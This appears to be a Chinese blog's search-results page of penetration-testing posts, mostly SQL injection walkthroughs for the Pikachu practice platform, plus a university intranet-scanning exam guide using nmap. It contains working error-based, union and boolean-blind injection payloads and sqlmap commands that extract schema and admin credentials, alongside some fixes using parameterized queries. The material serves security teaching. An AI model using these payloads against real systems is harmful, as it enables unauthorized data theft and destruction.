找到
18
篇与
综合渗透
相关的结果
-
深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战 深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战 在Web安全渗透测试中,SQL注入始终是最常见且危害极大的漏洞类型之一。今天我们以Pikachu漏洞练习平台的Delete注入题目为例,深入剖析漏洞成因,并通过实战演示如何利用报错注入获取数据库敏感信息。 一、漏洞背景与环境说明 Pikachu是一款广受安全学习者欢迎的漏洞练习平台,其中的“Delete注入”题目模拟了实际开发中因不当处理用户输入而导致的SQL注入风险。该场景通常出现在数据删除功能中,攻击者可通过构造特殊请求,篡改SQL语句实现未授权操作或信息泄露。 本次分析的核心场景是一个消息删除功能——用户点击删除按钮时,前端会向服务器传递消息ID,服务器根据该ID执行删除操作。看似简单的功能,却因代码缺陷埋下了安全隐患。 二、漏洞源代码深度分析 我们先来看存在漏洞的核心代码: // 原始代码(存在漏洞) if(array_key_exists('id', $_GET)){ $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ header("location:sqli_del.php"); }else{ $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>"; } }漏洞关键成因: 输入未做任何过滤 代码直接使用$_GET['id']拼接SQL语句,未进行类型验证(如is_numeric()判断)或转义处理。这意味着用户传入的id参数可直接控制SQL语句结构。 SQL语句拼接方式不安全 delete语句采用字符串拼接:"delete from message where id={$_GET['id']}"。由于id参数未加引号包裹(直接作为数值拼接),攻击者可轻松注入恶意SQL代码改变语句逻辑。 对比安全版本的差异 注释中提到的安全写法if(array_key_exists('id', $_GET) && is_numeric($_GET['id']))明确要求id必须为数字,而漏洞代码删除了这一验证,直接导致注入风险。 三、漏洞利用原理:从删除操作到信息泄露 Delete注入的特殊性在于:它本身是删除数据的操作,但通过构造注入语句,我们可将其转化为信息查询工具。核心思路是利用SQL语句的逻辑拼接,在执行删除操作的同时执行查询语句,并通过报错信息获取结果。 以本题为例,正常的删除SQL为: delete from message where id=1当我们传入恶意id参数时,SQL语句会被篡改。例如传入1 or 1=1,语句变为: delete from message where id=1 or 1=1 -- 删除所有消息(危险!)但在实际测试中,我们更关注如何在不破坏数据的前提下获取信息,报错注入正是最佳选择。 四、实战:基于报错注入的数据库信息获取 1. 报错注入原理 报错注入利用了MySQL的函数特性:当某些函数(如updatexml()、extractvalue())的参数不符合语法规范时,会抛出错误并显示参数内容。通过在参数中嵌入查询语句,即可将查询结果通过报错信息泄露。 核心函数updatexml()的语法: updatexml(XML_document, XPath_string, new_value)当XPath_string包含非XML规范字符(如~)时,MySQL会报错并显示该字符串,这就是我们泄露信息的关键。 2. 构造Delete注入的报错Payload 针对本题的漏洞代码,有效的报错注入Payload为: 隐藏内容,请前往内页查看详情 Payload解析: 1:作为初始id值,确保语句前半部分语法正确 or:逻辑运算符,用于拼接后续恶意代码(只要前后有一个为真,整个条件就为真) updatexml(1,concat(0x7e,database()),0):核心注入代码 concat(0x7e,database()):将波浪号(0x7e是~的十六进制编码)与数据库名拼接 updatexml因~不符合XML规范而报错,同时显示拼接后的内容(如~pikachu) 3. 执行注入与结果分析 将Payload作为id参数传入URL: http://[目标地址]/sqli_del.php?id=1 or updatexml(1,concat(0x7e,database()),0)在浏览器上访问就行了,抓包分析的话需要url转码 屏幕截图 2025-08-06 232957.png图片 delete注入.png图片 执行后,页面会返回类似以下的错误信息: XPATH syntax error: '~pikachu'其中pikachu就是当前数据库的名称,证明注入成功。 4. 扩展:获取更多敏感信息 通过修改Payload中的查询语句,可进一步获取表名、列名等信息: 获取当前用户:1 or updatexml(1,concat(0x7e,user()),0) 获取消息表的表名(假设已知库名pikachu): 1 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) 获取表中列名(假设已知表名message): 隐藏内容,请前往内页查看详情 五、漏洞修复建议 Delete注入的本质是用户输入未被安全处理就拼接进SQL语句,修复需从根本上避免这种风险: 严格验证输入类型 恢复代码中对id的数值验证,确保仅接受数字: if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){...} 使用参数化查询 采用预处理语句分离SQL结构与用户输入,彻底杜绝注入: $stmt = mysqli_prepare($link, "delete from message where id=?"); mysqli_stmt_bind_param($stmt, 'i', $_GET['id']); // 'i'表示参数为整数 mysqli_stmt_execute($stmt); 最小权限原则 数据库账号仅授予必要权限(如删除操作所需权限),限制注入后的破坏范围。 六、总结 Pikachu的Delete注入题目生动展示了“信任用户输入”带来的风险。通过本次实战,我们不仅掌握了报错注入的原理与Payload构造方法,更深刻理解了“参数化查询”对于防御SQL注入的重要性。在实际开发中,任何与数据库交互的功能都应严格过滤用户输入,这是保障Web安全的基础防线。
-
pikachu上的xx型注入解题思路 下面这段代码对应的“XX型注入”属于特殊闭合方式的字符型注入,核心特点是参数被单引号+括号双重包裹,需要针对性构造payload。 if(isset($_GET['submit']) && $_GET['name']!=null){ //这里没有做任何处理,直接拼到select里面去了 $name=$_GET['name']; //这里的变量是字符型,需要考虑闭合 $query="select id,email from member where username=('$name')"; $result=execute($link, $query); if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 关键特征分析 原始查询语句: select id,email from member where username=('$name') 用户输入的$name被包裹在 ('') 中(即先括号、再单引号) 正常情况下,输入test会变成 username=('test') 注入时需同时闭合单引号和括号,否则会触发语法错误 注入思路 闭合规则 需用 ') 来同时闭合单引号和括号,例如: 输入 x') 会使查询变成 username=('x'),此时前面的括号和引号已闭合。 基础payload示例 x') or 1=1#拼接后SQL变为: select id,email from member where username=('x') or 1=1#'') x') 闭合了原有的 (' or 1=1 构造永真条件 # 注释掉后面的剩余字符 '),避免语法错误 执行后会返回所有用户记录。 后续利用 与常规注入类似,闭合后可继续用union查询获取数据库信息,例如: x') union select database(),version()#sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --dbs --batch 获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_x.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片 这种“XX型”本质是闭合方式更特殊(括号+单引号),核心仍是突破闭合并构造合法的恶意SQL,理解其包裹规则就能套用常规注入思路。
-
pikachu基于boolian的盲注详解 这是Pikachu平台中字符型SQL注入(含布尔判断特征) 的典型场景,存在明显的SQL注入漏洞,且特别适合布尔盲注测试,具体分析如下: if(isset($_GET['submit']) && $_GET['name']!=null){ $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了 $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合 //mysqi_query不打印错误描述,即使存在注入,也不好判断 $result=mysqli_query($link, $query);// // $result=execute($link, $query); if($result && mysqli_num_rows($result)==1){ while($data=mysqli_fetch_assoc($result)){ $id=$data['id']; $email=$data['email']; $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>"; } } 1. 漏洞核心特征 代码逻辑是: 接收用户输入的name参数(无任何过滤) 直接拼接到SQL查询:select id,email from member where username='$name' 关键判断:仅当查询结果刚好有1条记录时,显示your uid:xxx;否则显示不存在 这种“非此即彼”的返回逻辑,正是布尔盲注的典型环境——可以通过构造条件判断语句,根据页面返回“存在”或“不存在”来推断信息。 2. 布尔盲注利用思路 由于只有两种返回状态(成功/失败),无法直接获取数据,需通过条件判断逐步猜解信息: (1)验证注入点 1' and 1=1# 拼接后SQL:select ... where username='1' and 1=1#' 若页面显示your uid(存在),说明条件为真 1' and 1=2# 若页面显示不存在,说明条件为假,确认存在布尔盲注漏洞。 (2)猜解数据库名(以长度为例) 1' and length(database())=7# 若返回your uid,说明当前数据库名长度为7(Pikachu默认库名是pikachu,长度7)。 (3)逐字符猜解数据库名 1' and ascii(substr(database(),1,1))=112# substr(database(),1,1)取数据库名第1个字符 ascii()转换为ASCII码(112对应p) 若返回your uid,说明第1个字符是p,以此类推猜解完整名称。 正确解法是 隐藏内容,请前往内页查看详情 (4)猜解表名、字段名、数据 方法类似,例如猜解member表的字段: 1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='member' limit 0,1)=105# 105对应i,即第1个字段可能是id。 正确解法是 隐藏内容,请前往内页查看详情 盲注布尔型.png图片 3. 为什么适合布尔盲注? 无错误回显:mysqli_query不显示具体错误,无法用联合查询直接获取数据 结果唯一判断:mysqli_num_rows($result)==1 只返回“存在1条”或“不存在”两种状态 闭合简单:字符型单引号闭合,容易构造条件语句 4. 修复建议 改用参数化查询(预处理语句),彻底杜绝注入: $stmt = mysqli_prepare($link, "select id,email from member where username=?"); mysqli_stmt_bind_param($stmt, 's', $name); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); 限制输入格式:只允许字母、数字等合法字符,过滤单引号等特殊符号。 这种场景下,手动盲注效率较低,实际测试中可结合Burp Suite的爆破功能或编写脚本自动化猜解。 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.phpp?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片
-
pikachu上的sql字符型get注入详解 Pikachu漏洞练习平台 sql-字符型注入(get)题目: $name = $_GET['name']; // 这里的变量是字符型,需要考虑闭合 $query = "select id,email from member where username='$name'"; $result = execute($link, $query);构造闭合拼接 select id,email from member where username='1' or 1=1#'构造闭合拼接为永真条件 x' or 1=1#或者 x' and 1=1#都一样的 列举字段 x' order by 2#查看当前数据库用户名和数据库版本 x' union selet database(),version()#列出所有数据库 x' union select 1,group_concat(schema_name) from information_schema.schemata#列出表名 x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#获取对应表的字段 x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#获取管理员信息 隐藏内容,请前往内页查看详情 字符型get.png图片 最终获取的密码用md5解密就好了 sqlmap方法 获取数据库用户名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --dbs --batch获取数据库表名 sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --D 数据库用户名 --tables --batch获取对应数据库表的信息 隐藏内容,请前往内页查看详情 字符型get-2.png图片
-
某大学内网渗透期中考试题目 完成内网渗透课程期中考核的步骤如下: 1. 选择并安装扫描工具 推荐使用 Nmap(免费、跨平台)或 Nessus(需注册获取试用版)。 Nmap安装: Windows:从官网下载安装包 nmap.org Linux/macOS:终端输入 sudo apt install nmap(Debian/Ubuntu)或 brew install nmap(macOS) 2. 扫描指定网段 命令示例(Nmap全面扫描): nmap -T4 -A -p 1-65535 192.168.1.0/24参数说明: -T4:加快扫描速度 -A:启用操作系统和服务版本检测 -p 1-65535:扫描所有端口 3. 查看本机MAC地址 Windows: ipconfig /all在“物理地址”中查找当前网卡的MAC地址。 Linux: ifconfig 或 ip addr macOS: 前往 系统偏好设置 → 网络 → 高级 → 硬件 4. 截图要求 扫描结果截图:需包含存活主机的IP、端口、服务信息(如Nmap的输出)。 MAC地址截图:与扫描结果在同一截图或分开展示(确保清晰可读)。 5. 结果分析示例 存活主机数量:共发现 X 台存活主机(如192.168.1.1、192.168.1.100)。 开放端口与服务: 192.168.1.1:80:HTTP服务(可能为路由器管理页面) 192.168.1.100:22:SSH服务(可能存在远程登录风险) 潜在风险:开放的高风险端口(如445/SMB、3389/RDP)需重点关注。 6. 提交文档格式 PDF命名:学号-姓名-期中考核.pdf 内容结构: 封面:姓名、学号、任务类型 操作步骤:工具安装命令、扫描命令及参数说明 截图:扫描结果 + MAC地址 结果分析:存活主机、端口服务、安全建议 注意事项 合法合规:仅扫描授权网段,禁止攻击或窃取信息。 独立完成:文档需原创,截图需包含个人设备信息(如MAC地址)。 通过以上步骤,即可系统性地完成考核任务。若遇到工具安装或扫描问题,可检查防火墙设置或尝试更换工具(如使用Zenmap图形界面)。